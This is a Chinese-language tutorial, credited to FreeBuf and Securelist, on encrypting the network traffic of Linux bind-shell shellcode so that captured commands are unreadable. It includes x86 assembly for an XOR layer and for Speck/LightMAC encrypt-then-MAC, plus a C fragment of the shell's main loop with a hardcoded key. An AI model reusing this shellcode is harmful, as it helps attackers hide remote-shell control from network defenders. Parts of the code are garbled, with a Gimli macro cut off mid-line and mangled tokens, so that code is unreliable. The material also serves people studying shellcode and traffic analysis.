Shellcode與加密流量之間的那些事兒
前言
在這篇文章中,我們將簡單介紹如何在通過TCP通信的位置無關代碼(PIC)中實現數據加密。
我將以Linux下的同步Shell作為演示樣例,因此我建議大家在閱讀本文之前先閱讀下面這幾篇關於Shellcode的細節文章。
Shellcode: Linuxx86同步Shell彙編
Shellcode:Linux AMD64同步Shell彙編
Shellcode:Linux ARM同步Shell彙編
可能還需要查看關於加密演算法的內容:Shellcode:ARM彙編中的加密演算法介紹。
協議和代碼庫
當我們在思考加密協議時,第一個想到的很可能是安全傳輸層協議(TLS),因為它是針對Web安全的工業級標準。有的人可能還會想到SSH或IPSec等等,但是考慮到這些協議所採用的底層演算法,它們其實都不適用於資源受限環境。而類似SHA-2和分組密碼(例如Blowfish)這樣加密哈希函數也並不是為類似RFID晶元這樣的佔用資源較少的電子設備設計的。
在2018年4月份,NIST曾為物聯網行業的輕量級加密演算法推行過一個標準化進程,整個過程需要好幾年的時間才可以完成,但毫無疑問的是,整個行業並不會一直等待,因為這樣會導致不安全的產品暴露在互聯網中。某些密碼學家選擇採取主動的方式,通過自己的努力將他們設計的協議採用到這些低資源消耗的設備上,其中有兩個典型的演算法就是BLINKER和STROBE,而相應的適用於資源受限環境的代碼庫有LibHydrogen和MonoCypher。
分組密碼
分組密碼有很多種,但AES 128可能是目前最適合對在線流量進行加密的演算法了,下面給出的是我們對不同種類分組密碼的測試結果:
雖然這些加密演算法都非常優秀,但是他們仍需要類似計數器(CTR)和基於認證的加密模塊,其中最適合消息認證碼(MAC)的加密演算法就是LightMAC了,因為它在實現加密的過程中使用的是相同的分組密碼。
流密碼
另外兩種針對認證加密的熱門演算法(AES-GCM的替換)就是ChaCha20和Poly1305了,但是ChaCha20採用的是200位元組,而Poly1305為330位元組。雖然跟HMAC-SHA2相比,Poly1305已經壓縮得非常小了,但仍然佔用資源過多。
置換函數
如果你花了很多時間去測試各種加密演算法的話,你最終會發現在構造流密碼、分組密碼、加密認證模型、加密哈希函數和隨機數生成器時,你需要的僅僅只是一個置換函數。下面這個表格給出的是我們針對三種函數的測試結果:
這裡我們選擇使用Gimli,因為它佔用資源最少,並且可以用來構造針對通信流量的加密演算法。
異或密碼
接下來,我們實現一個針對數據流的簡單異或操作(Just For Fun!)。下面的截圖中顯示的是一台Windows虛擬機發送給Linux虛擬機的部分命令,其中Linux平台運行的Shellcode是沒有採用任何加密的。
捕捉到兩台主機間的通信數據之後,我們可以看到如下所示的TCP流數據:
給Shellcode x86彙編代碼中添加部分命令後,我們就可以進行8位異或運算了:
; ; read(r, buf, BUFSIZ, 0); xor esi, esi ; esi = 0 mov ecx, edi ; ecx = buf cdq ; edx = 0 mov dl, BUFSIZ ; edx = BUFSIZ push SYS_read ; eax = SYS_read pop eax int 0x80 ; encrypt/decrypt buffer pushad xchg eax, ecxxor_loop: xor byte[eax+ecx-1], XOR_KEY loop xor_loop popad ; write(w, buf, len); xchg eax, edx ; edx = len mov al, SYS_write pop ebx ; s or in[1] int 0x80 jmp poll_wait
通過在新的會話中執行相同的命令,通信數據將無法直接可讀,我這裡使用了haxdump來查看發送的命令以及接收到的結果:
當然了,長度為8位的密鑰是無法有效阻止攻擊者恢復出通信明文的,下圖給出的是Cyberchef爆破密鑰的過程:
Speck和LightMAC
一開始,我使用的是下面這段代碼來對數據包的加密進行驗證,它使用了Encrypt-then-MAC (EtM),而且這種方法比其他的方法要更安全,比如說MAC-then-Encrypt (MtE) 或Encrypt-and-MAC(E&M;):
bits32
%defineSPECK_RNDS 27
%defineN 8
%defineK 16
;*****************************************
;Light MAC parameters based on SPECK64-128
;
; N =64-bits
; K =128-bits
;
%defineCOUNTER_LENGTH N/2 ; should be <= N/2
%defineBLOCK_LENGTH N ; equal to N
%defineTAG_LENGTH N ; >= 64-bits && <= N
%defineBC_KEY_LENGTH K ; K
%defineENCRYPT_BLK speck_encrypt
%defineGET_MAC lightmac
%defineLIGHTMAC_KEY_LENGTH BC_KEY_LENGTH*2 ; K*2
%definek0 edi
%definek1 ebp
%definek2 ecx
%definek3 esi
%definex0 ebx
%definex1 edx
; esi= IN data
; ebp= IN key
speck_encrypt:
pushad
push esi ; save M
lodsd ; x0 = x->w[0]
xchg eax, x0
lodsd ; x1 = x->w[1]
xchg eax, x1
mov esi, ebp ; esi = key
lodsd
xchg eax, k0 ; k0 = key[0]
lodsd
xchg eax, k1 ; k1 = key[1]
lodsd
xchg eax, k2 ; k2 = key[2]
lodsd
xchg eax, k3 ; k3 = key[3]
xor eax, eax ; i = 0
spk_el:
; x0 = (ROTR32(x0, 8) + x1) ^ k0;
ror x0, 8
add x0, x1
xor x0, k0
; x1 = ROTL32(x1, 3) ^ x0;
rol x1, 3
xor x1, x0
; k1 = (ROTR32(k1, 8) + k0) ^ i;
ror k1, 8
add k1, k0
xor k1, eax
; k0 = ROTL32(k0, 3) ^ k1;
rol k0, 3
xor k0, k1
xchg k3, k2
xchg k3, k1
; i++
inc eax
cmp al, SPECK_RNDS
jnz spk_el
pop edi
xchg eax, x0 ; x->w[0] = x0
stosd
xchg eax, x1 ; x->w[1] = x1
stosd
popad
ret
; edx= IN len
; ebx= IN msg
; ebp= IN key
; edi= OUT tag
lightmac:
pushad
mov ecx, edx
xor edx, edx
add ebp, BLOCK_LENGTH + BC_KEY_LENGTH
pushad ; allocate N-bytes for M
; zero initialize T
mov [edi+0], edx ; t->w[0] = 0;
mov [edi+4], edx ; t->w[1] = 0;
; while we have msg data
lmx_l0:
mov esi, esp ; esi = M
jecxz lmx_l2 ; exit loop ifmsglen == 0
lmx_l1:
; add byte to M
mov al, [ebx] ; al = *data++
inc ebx
mov [esi+edx+COUNTER_LENGTH], al
inc edx ; idx++
; M filled?
cmp dl, BLOCK_LENGTH - COUNTER_LENGTH
; --msglen
loopne lmx_l1
jne lmx_l2
; add S counter in big endian format
inc dword[esp+_edx]; ctr++
mov eax, [esp+_edx]
; reset index
cdq ; idx = 0
bswap eax ; m.ctr =SWAP32(ctr)
mov [esi], eax
; encrypt M with E using K1
call ENCRYPT_BLK
; update T
lodsd ; t->w[0] ^= m.w[0];
xor [edi+0], eax
lodsd ; t->w[1] ^= m.w[1];
xor [edi+4], eax
jmp lmx_l0 ; keep going
lmx_l2:
; add the end bit
mov byte[esi+edx+COUNTER_LENGTH], 0x80
xchg esi, edi ; swap T and M
lmx_l3:
; update T with any msg dataremaining
mov al, [edi+edx+COUNTER_LENGTH]
xor [esi+edx], al
dec edx
jns lmx_l3
; advance key to K2
add ebp, BC_KEY_LENGTH
; encrypt T with E using K2
call ENCRYPT_BLK
popad ; release memory for M
popad ; restore registers
ret
; IN:ebp = global memory, edi = msg, ecx = enc flag, edx = msglen
;OUT: -1 or length of data encrypted/decrypted
encrypt:
push -1
pop eax ; set return valueto -1
pushad
lea ebp, [ebp+@ctx] ; ebp crypto ctx
mov ebx, edi ; ebx = msg
pushad ; allocate 8-bytes fortag+strm
mov edi, esp ; edi = tag
; if (enc) {
; verify tag + decrypt
jecxz enc_l0
; msglen -= TAG_LENGTH;
sub edx, TAG_LENGTH
jle enc_l5 ; return -1 if msglen <= 0
mov [esp+_edx], edx
; GET_MAC(ctx, msg, msglen, mac);
call GET_MAC
; memcmp(mac, &msg;[msglen],TAG_LENGTH)
lea esi, [ebx+edx] ; esi = &msg;[msglen]
cmpsd
jnz enc_l5 ; not equal? return-1
cmpsd
jnz enc_l5 ; ditto
; MACs are equal
; zero the MAC
xor eax, eax
mov [esi-4], eax
mov [esi-8], eax
enc_l0:
mov edi, esp
test edx, edx ; exit if (msglen== 0)
jz enc_lx
; memcpy (strm, ctx->e_ctr,BLOCK_LENGTH);
mov esi, [esp+_ebp]; esi = ctx->e_ctr
push edi
movsd
movsd
mov ebp, esi
pop esi
; ENCRYPT_BLK(ctx->e_key, &strm;);
call ENCRYPT_BLK
mov cl, BLOCK_LENGTH
; r=(len > BLOCK_LENGTH) ?BLOCK_LENGTH : len;
enc_l2:
lodsb ; al = *strm++
xor [ebx], al ; *msg ^= al
inc ebx ; msg++
dec edx
loopnz enc_l2 ; while (!ZF&& --ecx)
mov cl, BLOCK_LENGTH
enc_l3: ; do {
; update counter
mov ebp, [esp+_ebp]
inc byte[ebp+ecx-1]
loopz enc_l3 ; } while (ZF&& --ecx)
jmp enc_l0
enc_lx:
; encrypting? add MAC of ciphertext
dec dword[esp+_ecx]
mov edx, [esp+_edx]
jz enc_l4
mov edi, ebx
mov ebx, [esp+_ebx]
mov ebp, [esp+_ebp]
; GET_MAC(ctx, buf, buflen, msg);
call GET_MAC
; msglen += TAG_LENGTH;
add edx, TAG_LENGTH
enc_l4:
; return msglen;
mov [esp+32+_eax], edx
enc_l5:
popad
popad
ret
需要注意的是,這裡還得用到一個協議,接收方在對數據有效性進行驗證之前需要知道發送方到底發送了多少數據過來,因此加密長度需要首先發送,接下來才是加密數據。但是請等一下,這裡明明應該是Shellcode,為什麼現在搞得那麼複雜呢?試一下RC4?不,請大家往下看!
Gimli
為了使用Gimli來代替RC4,我編寫了下面這段代碼,這裡的置換函數本質上就是Gimli:
#defineR(v,n)(((v)>>(n))|((v)<<(32-(n))))#defineF(n)for(i=0;i
在Linux Shell中使用這段代碼之前,我們需要聲明兩個單獨的加密上下文來處理輸入、輸出和128位的靜態密鑰:
//using a static 128-bit key crypt_ctx *c, c1, c2; // echo -n top_secret_key | openssl md5-binary -out key.bin // xxd -i key.bin uint8_t key[] = { 0x4f, 0xef, 0x5a, 0xcc, 0x15, 0x78, 0xf6,0x01, 0xee, 0xa1, 0x4e, 0x24, 0xf1, 0xac, 0xf9,0x49 };
在進入主輸出循環之前,我們還需要對每一個上下文初始化文件讀取和寫入描述符,這樣可以減少代碼的行數:
// // c1 is for reading from socket andwriting to stdin init_crypt(&c1;, s, in[1], key); // c2 is for reading from stdout andwriting to socket init_crypt(&c2;, out[0], s, key); // now loop until user exits or someother error for (;;) { r = epoll_wait(efd, &evts;, 1,-1); // error? bail out if (r<=0) break; // not input? bail out if (!(evts.events & EPOLLIN))break; fd = evts.data.fd; c = (fd == s) ? &c1; : &c2; crypt(c); }
總結
對shellcode進行恢復之後,將能夠得到明文數據,因為我在這裡加密所採用的是一個靜態密鑰,為了防止這種情況出現,大家可以嘗試使用類似Diffie-Hellman這樣的密鑰交換協議來實現,這個就留給大家自己動手嘗試啦!
* 參考來源:securelist,FB小編Alpha_h4ck編譯,轉載請註明來自FreeBuf.COM
推薦閱讀:
※UC頭條:「天網」要誕生了? 谷歌AI已可進行自我加密
※Vitalik 暢談加密經濟、技術突破、監管預期,還有學中文
※LS-DYNA種如何對K文件進行部分或者全部加密,而求解器依然能計算?
※關閉BitLocker